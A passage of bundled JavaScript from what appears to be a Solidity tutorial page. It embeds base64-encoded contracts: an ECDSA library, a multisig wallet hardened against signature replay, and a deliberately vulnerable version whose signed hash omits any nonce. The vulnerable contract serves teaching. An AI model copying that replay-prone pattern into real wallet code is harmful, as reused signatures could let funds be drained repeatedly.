iAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBleGVjdXRlZDsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzWzJdIG1lbW9yeSBfb3duZXJzKSBwYXlhYmxlIHsKICAgICAgICBvd25lcnMgPSBfb3duZXJzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMzMiB0eEhhc2ggPSBnZXRUeEhhc2goX3RvLCBfYW1vdW50LCBfbm9uY2UpOwogICAgICAgIHJlcXVpcmUoIWV4ZWN1dGVkW3R4SGFzaF0sICJ0eCBleGVjdXRlZCIpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIGV4ZWN1dGVkW3R4SGFzaF0gPSB0cnVlOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKGFkZHJlc3MgX3RvLCB1aW50MjU2IF9hbW91bnQsIHVpbnQyNTYgX25vbmNlKQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfdG8sIF9hbW91bnQsIF9ub25jZSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9jaGVja1NpZ3MoYnl0ZXNbMl0gbWVtb3J5IF9zaWdzLCBieXRlczMyIF90eEhhc2gpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJ5dGVzMzIgZXRoU2lnbmVkSGFzaCA9IF90eEhhc2gudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfc2lncy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHNpZ25lciA9IGV0aFNpZ25lZEhhc2gucmVjb3Zlcihfc2lnc1tpXSk7CiAgICAgICAgICAgIGJvb2wgdmFsaWQgPSBzaWduZXIgPT0gb3duZXJzW2ldOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQoKLyoKLy8gb3duZXJzCjB4ZTE5YWVhOTNGNkMxZEJlZjZBMzc3Njg0OGJFMDk5QTdjMzI1M2FjOAoweGZhODU0RkU1MzM5ODQzYjNlOUJmZDg1NTRCMzhCRDA0MkE0MmUzNDAKCi8vIHRvCjB4ZTEwNDIyY2M2MTAzMEM4QjNkQkNEMzZjN2U3ZThFQzNCNTI3RTBBYwovLyBhbW91bnQKMTAwCi8vIG5vbmNlCjAKLy8gdHggaGFzaAoweDEyYTA5NTQ2MmViZmNhMjdkYzRkOTlmZWVmODg1YmZlNTgzNDRmYjZiYjQyYzNjNTJhN2MwZDY4MzZkMTE0NDgKCi8vIHNpZ25hdHVyZXMKMHgxMjBmOGVkOGYyZmE1NTQ5OGYyZWYwYTIyZjI2ZTM5YjliNTFlZDI5Y2M5M2ZlMGVmM2VkMTc1NmY1OGZhZDBjNmViNWExZDZmMzY3MWY4ZDUxNjM2MzlmZGM0MGJiODcyMGRlNmQ4ZjI1MjMwNzdhZDZkMTEzOGE2MDkyM2I4MDFjCjB4YTI0MGE0ODdkZTFlYjViYjk3MWU5MjBjYjA2NzdhNDdkZGM2NDIxZTM4ZjdiMDQ4ZjhhYTg4MjY2YjJjODg0YTEwNDU1YTUyZGM3NmEyMDNhMWE5YTk1MzQxODQ2OWY5ZWVjMmM1OWU4NzIwMWJiYzhkYjBlNGQ5Nzk2OTM1Y2IxYgoqLwo="},{fileName:"SigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50LCBieXRlc1syXSBtZW1vcnkgX3NpZ3MpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RvLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncyhieXRlc1syXSBtZW1vcnkgX3NpZ3MsIGJ5dGVzMzIgX3R4SGFzaCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9Cg=="}],z0=`

                                  Signing messages off-chain and having a contract that requires that signature before executing +`,K0=({prev:s,next:a})=>r.jsx(A,{version:X0,title:v0,description:N0,html:F0,prev:s,next:a,codes:H0}),M0="0.8.24",S0="Signature Replay",x0="An example of a contract vulnerable to signature replay attack",J0=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGR